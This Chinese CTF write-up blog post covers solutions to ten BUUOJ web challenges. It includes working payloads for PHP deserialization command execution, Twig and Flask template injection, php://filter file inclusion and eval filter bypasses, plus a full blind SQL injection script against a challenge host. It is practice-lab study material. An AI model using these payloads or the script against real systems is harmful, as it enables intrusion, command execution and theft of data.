BUUOJ-Web题目-6

[ASIS 2019]Unicorn shop

[NCTF2019]Fake XML cookbook

[CISCN 2019 初赛]Love Math

[SWPU2019]Web1

[网鼎杯 2020 朱雀组]phpweb

[BJDCTF2020]Cookie is so stable

[WesternCTF2018]shrine

[BJDCTF 2nd]简单注入

[安洵杯 2019]easy_serialize_php

[BSidesCF 2020]Had a bad day

[ASIS 2019]Unicorn shop

先随便输入一波,根据返回猜测是要买第四只独角兽,我们就可以拿到flag了。

但是只能输入单个字符,而第四只独角兽价格是1337,那么我们需要找到一个Unicode字符,它代表一个数字且这个数字大于1337

于是在这个网站,我们找到了一个字符

输入后得到flag

image.png

[NCTF2019]Fake XML cookbook

最基础的XML外部实体漏洞,直接抄网上Payload即可

image.png

[CISCN 2019 初赛]Love Math

给了源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
show_source(__FILE__);
}else{
//例子 c=20-1
$content = $_GET['c'];
if (strlen($content) >= 80) {
die("太长了不会算");
}
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $content)) {
die("请不要输入奇奇怪怪的字符");
}
}
//常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
$whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);
foreach ($used_funcs[0] as $func) {
if (!in_array($func, $whitelist)) {
die("请不要输入奇奇怪怪的函数");
}
}
//帮你算出答案
eval('echo '.$content.';');
}

肯定需要想办法执行shell,不过有着很多很多的过滤,得想办法绕过

Payload:

image.png

解释:

image.png

重点函数是base_convertdechex,一个是把10进制转36进制套出hex2bin函数,一个是十进制转十六进制字符串。hex2bin可以把十六进制转为二进制字符串,从而达到目标效果。

[SWPU2019]Web1

这个题是一个广告系统,试用下发现是中间需要等待管理确认,猜测可能与XSS有关;但是迟迟不审核推测没有后端Bot,应该就是一些别的东西。

再用扫描器扫描一下,没看出来,不会了,去搜搜题解

原来是一个二次注入,然后学到了一些新的注入小技巧

具体方法就不放了,跟上面题解是一样的。

不过补充一下:第一个是as实际上可以没有,所以可以针对一些过滤了as的WAF;

第二个是as去掉后中间的空格可以用括号别名的方式绕过,效果是一样的。

比如2 as a2 a以及(2)a是等价的。

[网鼎杯 2020 朱雀组]phpweb

一个会隔5秒刷新的页面,同时会出现一些奇特的字符

image.png

猜测和时间可能有点关系,但是看不出来,扫描器扫一下,扫不出来

不会,上网搜题解,好吧,会了

file_get_contents获得主页文件源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php
$disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk", "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
function gettime($func, $p) {
$result = call_user_func($func, $p);
$a= gettype($result);
if ($a == "string") {
return $result;
} else {return "";}
}
class Test {
var $p = "Y-m-d h:i:s a";
var $func = "date";
function __destruct() {
if ($this->func != "") {
echo gettime($this->func, $this->p);
}
}
}
$func = $_REQUEST["func"];
$p = $_REQUEST["p"];

if ($func != null) {
$func = strtolower($func);
if (!in_array($func,$disable_fun)) {
echo gettime($func, $p);
}else {
die("Hacker...");
}
}
?>

反序列化找flag

Payload,需要URL Encode

1
func=unserialize&p=O:4:"Test":2:{s:1:"p";s:21:"find / -name "*flag*"";s:4:"func";s:6:"system";}

image.png

1
func=unserialize&p=O:4:"Test":2:{s:1:"p";s:22:"cat /tmp/flagoefiu4r93";s:4:"func";s:6:"system";}

image.png

PHP Twig模板注入

Payload

1
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}};

image.png

[WesternCTF2018]shrine

Python SSTI,过滤了一部分关键字

那么我们只要想办法取出config就可以了

Payload

1
{{url_for.__globals__['current_app'].config}}

可以用url_for绕过关键字

[BJDCTF 2nd]简单注入

反斜杠掉第二个引号,使第三个引号和第一个引号闭合,最后插入恶意代码

用脚本来操作

image.png

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
import sys
import requests
import string
import time

config_html = 'http://69a79358-78f2-4ba2-8052-11e3f502a55b.node3.buuoj.cn/index.php'

#config_html = 'http://requestbin.net/r/1gf5gin1'

config_method = 'POST'

config_key = 'password'

config_data = {
'username': 'admin\\',
'password' : '^{0}#'
}

config_length = '(char_length({0}){1})'

config_line = '({0}{1})'

config_success_flag = 'You konw ,P3rh4ps needs a girl friend'

config_failed_flag = 'BJD needs to be stronger'

config_retry_time = 0.1

config_headers = {
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0',
'Accept-Language':'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
'DNT':'1',
'Connection':'close'
}

config_data_range = string.digits + string.ascii_letters + '{}-'

config_data_range = "".join((lambda x:(x.sort(),x)[1])(list(config_data_range)))

print(config_data_range)

def get(url,data):
if config_method == 'GET':
r = requests.get(url = url,params = data,headers = config_headers,timeout = 3)
else:
r = requests.post(url = url,data = data,headers = config_headers,timeout = 3)
while r.status_code != 200:
print('[-] Retry to connect...')
time.sleep(config_retry_time)
if config_method == 'GET':
r = requests.get(url = url,params = data,headers = config_headers,timeout = 3)
else:
r = requests.post(url = url,data = data,headers = config_headers,timeout = 3)
r.encoding = 'UTF-8'
#print(r.text)
if config_success_flag in r.text:
return True
elif config_failed_flag in r.text:
return False
else:
print('Error: method error!')
return False

def cfg_data(par):
data = config_data.copy()
data[config_key] = data[config_key].format(par)
return data

def concat_line_length(cmd,i):
return config_length.format(cmd,'>' + str(i))

def concat_line_value(cmd,ret,i):
if len(ret) != 0:
return config_line.format(cmd,'>' + 'CHAR(' + ','.join(ret) + ',' + str(ord(i)) + ')')
else:
return config_line.format(cmd,'>' + 'CHAR(' + str(ord(i)) + ')')

def get_length_line(cmd):
for i in range(0,255):
time.sleep(config_retry_time)
if get(url = config_html,data = cfg_data(concat_line_length(cmd,i))):
#print(cfg_data(concat_line_length(cmd,i)))
print('[-] {0} NOT length: {1}'.format(cmd,i))
continue
else:
print('[+] {0} length: {1}'.format(cmd,i))
return i
print('[-] Search Length Failed...')
return 0

def get_value_line(cmd,length,preline):
ret = list(preline)
for l in range(length - len(preline)):
#print(l,length-len(preline))
last = ''
fg = False
for i in config_data_range:
ret2 = []
for j in ret:
ret2.append(str(ord(j)))
#print(config_data_range)
#print(i)
time.sleep(config_retry_time)
#print(cfg_data(concat_line_value(cmd,ret2,i)))
if get(url = config_html,data = cfg_data(concat_line_value(cmd,ret2,i))):
last = i
continue
else:
fg = True
if l == length - len(preline) - 1:
ret.append(i)
else:
ret.append(last)
last = ''
#print(ret)
print('[+] {0} : {1}'.format(cmd,''.join(ret)))
break
if fg == False:
ret.append(config_data_range[-1])
print('[+] {0} : {1}'.format(cmd,''.join(ret)))
break
return ret

def database():
cmd = "database()"
#data_length = get_length_line(cmd)
data_length = 7
return get_value_line(cmd,data_length,'')

database()

def user():
cmd = "username"
data_length = get_length_line(cmd)
#data_length = 7
return get_value_line(cmd,data_length,'')

user()

def password():
cmd = "password"
data_length = get_length_line(cmd)
#data_length = 7
return get_value_line(cmd,data_length,'')

password()

脚本注入出来的大小写不对,应该是服务器端判断有问题(我没用二分),所以直接找了网上的密码得到flag

[安洵杯 2019]easy_serialize_php

给了源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?php

$function = @$_GET['f'];

function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}


if($_SESSION){
unset($_SESSION);
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);

if(!$function){
echo '<a href="index.php?f=highlight_file">source_code</a>';
}

if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

$serialize_info = filter(serialize($_SESSION));

if($function == 'highlight_file'){
highlight_file('index.php');
}else if($function == 'phpinfo'){
eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
}

注意到

image.png

也就是我们需要想办法读取这个

那么我们试试反序列化逃逸,之前那个是替换更多的字符,这把是替换更少的字符,就是凑出合适的字符数使得正好覆盖到合适的位置上

image.png

覆盖7个字符,然后随便填充一个东西

image.png

输入4个字符是逃逸4个字符,注意extract可以覆盖变量。

那么我们先打一下试试

image.png

image.png

[BSidesCF 2020]Had a bad day

注意地址栏,会有一些问题

image.png

更改一波,会出错

image.png

image.png

推测是计算里面是否存在这样的字符串来判断

这样会循环

image.png

那么似乎就能推导做法了:在这个地方include一些不应该读取的文件,貌似就可以了

测试可以用%00截断,但是存在include_path='.:/usr/local/lib/php',始终是打不开的,有点奇怪

不过我们读取一波源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
<html>
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="description" content="Images that spark joy">
<meta name="viewport" content="width=device-width, initial-scale=1.0, minimum-scale=1.0">
<title>Had a bad day?</title>
<link rel="stylesheet" href="css/material.min.css">
<link rel="stylesheet" href="css/style.css">
</head>
<body>
<div class="page-layout mdl-layout mdl-layout--fixed-header mdl-js-layout mdl-color--grey-100">
<header class="page-header mdl-layout__header mdl-layout__header--scroll mdl-color--grey-100 mdl-color-text--grey-800">
<div class="mdl-layout__header-row">
<span class="mdl-layout-title">Had a bad day?</span>
<div class="mdl-layout-spacer"></div>
<div>
</header>
<div class="page-ribbon"></div>
<main class="page-main mdl-layout__content">
<div class="page-container mdl-grid">
<div class="mdl-cell mdl-cell--2-col mdl-cell--hide-tablet mdl-cell--hide-phone"></div>
<div class="page-content mdl-color--white mdl-shadow--4dp content mdl-color-text--grey-800 mdl-cell mdl-cell--8-col">
<div class="page-crumbs mdl-color-text--grey-500">
</div>
<h3>Cheer up!</h3>
<p>
Did you have a bad day? Did things not go your way today? Are you feeling down? Pick an option and let the adorable images cheer you up!
</p>
<div class="page-include">
<?php
$file = $_GET['category'];

if(isset($file))
{
if( strpos( $file, "woofers" ) !== false || strpos( $file, "meowers" ) !== false || strpos( $file, "index")){
include ($file . '.php');
}
else{
echo "Sorry, we currently only support woofers and meowers.";
}
}
?>
</div>
<form action="index.php" method="get" id="choice">
<center><button onclick="document.getElementById('choice').submit();" name="category" value="woofers" class="mdl-button mdl-button--colored mdl-button--raised mdl-js-button mdl-js-ripple-effect" data-upgraded=",MaterialButton,MaterialRipple">Woofers<span class="mdl-button__ripple-container"><span class="mdl-ripple is-animating" style="width: 189.356px; height: 189.356px; transform: translate(-50%, -50%) translate(31px, 25px);"></span></span></button>
<button onclick="document.getElementById('choice').submit();" name="category" value="meowers" class="mdl-button mdl-button--colored mdl-button--raised mdl-js-button mdl-js-ripple-effect" data-upgraded=",MaterialButton,MaterialRipple">Meowers<span class="mdl-button__ripple-container"><span class="mdl-ripple is-animating" style="width: 189.356px; height: 189.356px; transform: translate(-50%, -50%) translate(31px, 25px);"></span></span></button></center>
</form>

</div>
</div>
</main>
</div>
<script src="js/material.min.js"></script>
</body>
</html>

然后不会了,看题解得知原来伪协议可以额外套一层伪协议。。。

Payload

1
?category=php://filter/convert.base64-encode/woofers/resource=flag

会报Warning

image.png

不过可以正常的跑,很奇特。。。

image.png


BUUOJ-Web题目-6
http://hexo.init-new-world.com/BUUOJ-Web-ti-mu-6
Author
John Doe
Posted on
October 2, 2020
Licensed under